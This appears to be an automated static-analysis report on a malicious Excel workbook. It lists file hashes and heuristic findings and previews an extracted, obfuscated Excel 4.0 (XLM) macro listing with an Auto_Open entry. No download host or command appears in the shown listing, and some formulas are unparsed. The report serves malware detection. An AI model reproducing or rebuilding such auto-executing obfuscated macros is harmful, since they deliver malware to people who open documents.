Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 473c8283b7b7a632…

MALICIOUS

Office (OLE) / .XLS

31.0 KB Created: 2021-01-25 15:18:25 Authoring application: Microsoft Excel First seen: 2026-06-28
MD5: 82958706bfb10d93eb5a0a88c7054523 SHA-1: 7e6c72d80151427004f81664823572966e9bbb96 SHA-256: 473c8283b7b7a632817248968b90f8ebf2e0670a630af93f52e5cd8fd312b2cb
160 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3324 bytes
SHA-256: f7ea9f717f1427496bf5c090d1d9c462176b4735a18f56a4a9ca782fa9dab3f0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ByVR
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A113 
' 0018     26 LABEL : Cell Value, String Constant - CuZA len=7 ptgRef3d  ByVR!A60 
' 0018     29 LABEL : Cell Value, String Constant - FRIuiPF len=7 ptgRef3d  ByVR!G54 
' 0018     26 LABEL : Cell Value, String Constant - fwHM len=7 ptgRef3d  ByVR!J59 
' 0018     26 LABEL : Cell Value, String Constant - guFI len=7 ptgRef3d  ByVR!I49 
' 0018     23 LABEL : Cell Value, String Constant - IApIB len=3 ptgInt 0 
' 0018     30 LABEL : Cell Value, String Constant - mZgtxJQt len=7 ptgRef3d  ByVR!B48 
' 0018     30 LABEL : Cell Value, String Constant - NrglUSNY len=7 ptgRef3d  ByVR!D54 
' 0018     29 LABEL : Cell Value, String Constant - OuJynua len=7 ptgRef3d  Sheet!A63 
' 0018    560 LABEL : Cell Value, String Constant - pSYugFI len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018     27 LABEL : Cell Value, String Constant - qivYZ len=7 ptgRef3d  ByVR!F49 
' 0018     25 LABEL : Cell Value, String Constant - qSpveJO len=3 ptgInt 0 
' 0018     23 LABEL : Cell Value, String Constant - saFIZzfO len=0 
' 0018     30 LABEL : Cell Value, String Constant - svYfvrJa len=7 ptgRef3d  ByVR!H49 
' 0018     30 LABEL : Cell Value, String Constant - sXwhSjla len=7 ptgRef3d  ByVR!E52 
' 0018   2062 LABEL : Cell Value, String Constant - UcXGb len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018    121 LABEL : Cell Value, String Constant - VVcCS len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018     30 LABEL : Cell Value, String Constant - wEONouAr len=7 ptgRef3d  ByVR!C55 
' 0018     22 LABEL : Cell Value, String Constant - xUgf len=3 ptgInt 0 
' 0018     24 LABEL : Cell Value, String Constant - yuSxMU len=3 ptgInt 0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,B47,"SUM(2,3)",""
'  Sheet,B48,ROWS(VVcCS),""
'  Sheet,F48,"SUM(2,3)",""
'  Sheet,H48,"SUM(2,3)",""
'  Sheet,I48,"SUM(2,3)",""
'  Sheet,F49,[],""
'  Sheet,H49,[],""
'  Sheet,I49,[],""
'  Sheet,E51,"SUM(2,3)",""
'  Sheet,E52,[],""
'  Sheet,D53,"SUM(2,3)",""
'  Sheet,G53,"SUM(2,3)",""
'  Sheet,C54,"SUM(2,3)",""
'  Sheet,D54,[],""
'  Sheet,G54,VVcCS,""
'  Sheet,C55,pSYugFI,""
'  Sheet,J58,"SUM(2,3)",""
'  Sheet,A59,"SUM(2,3)",""
'  Sheet,J59,T(CHAR(guFI)),""
'  Sheet,A60,ROWS(pSYugFI),""
'  ByVR,A64,"COUNT(1)+0+SUM(2,3)",""
'  ByVR,A65,[],""
'  ByVR,A68,"SET.VALUE(A96,"")",""
'  ByVR,A72,"yuSxMU",""
'  ByVR,A76,"DEFINE.NAME("IApIB",0)",""
'  ByVR,A78,[],""
'  ByVR,A83,"IApIB",""
'  ByVR,A86,"['A96', 'A96']",""
'  ByVR,A89,"xUgf",""
'  ByVR,A94,NEXT(),""
'  ByVR,A100,"['A96', '"ByVRZ!R"']",""
'  ByVR,A103,"saFIZzfO",""
'  ByVR,A106,NEXT(),""
'  ByVR,A111,RETURN(),""
'  ByVR,A115,"DEFINE.NAME("saFIZzfO",122)",""
'  ByVR,A121,OuJynua(),""
'  ByVR,A122,HALT(),""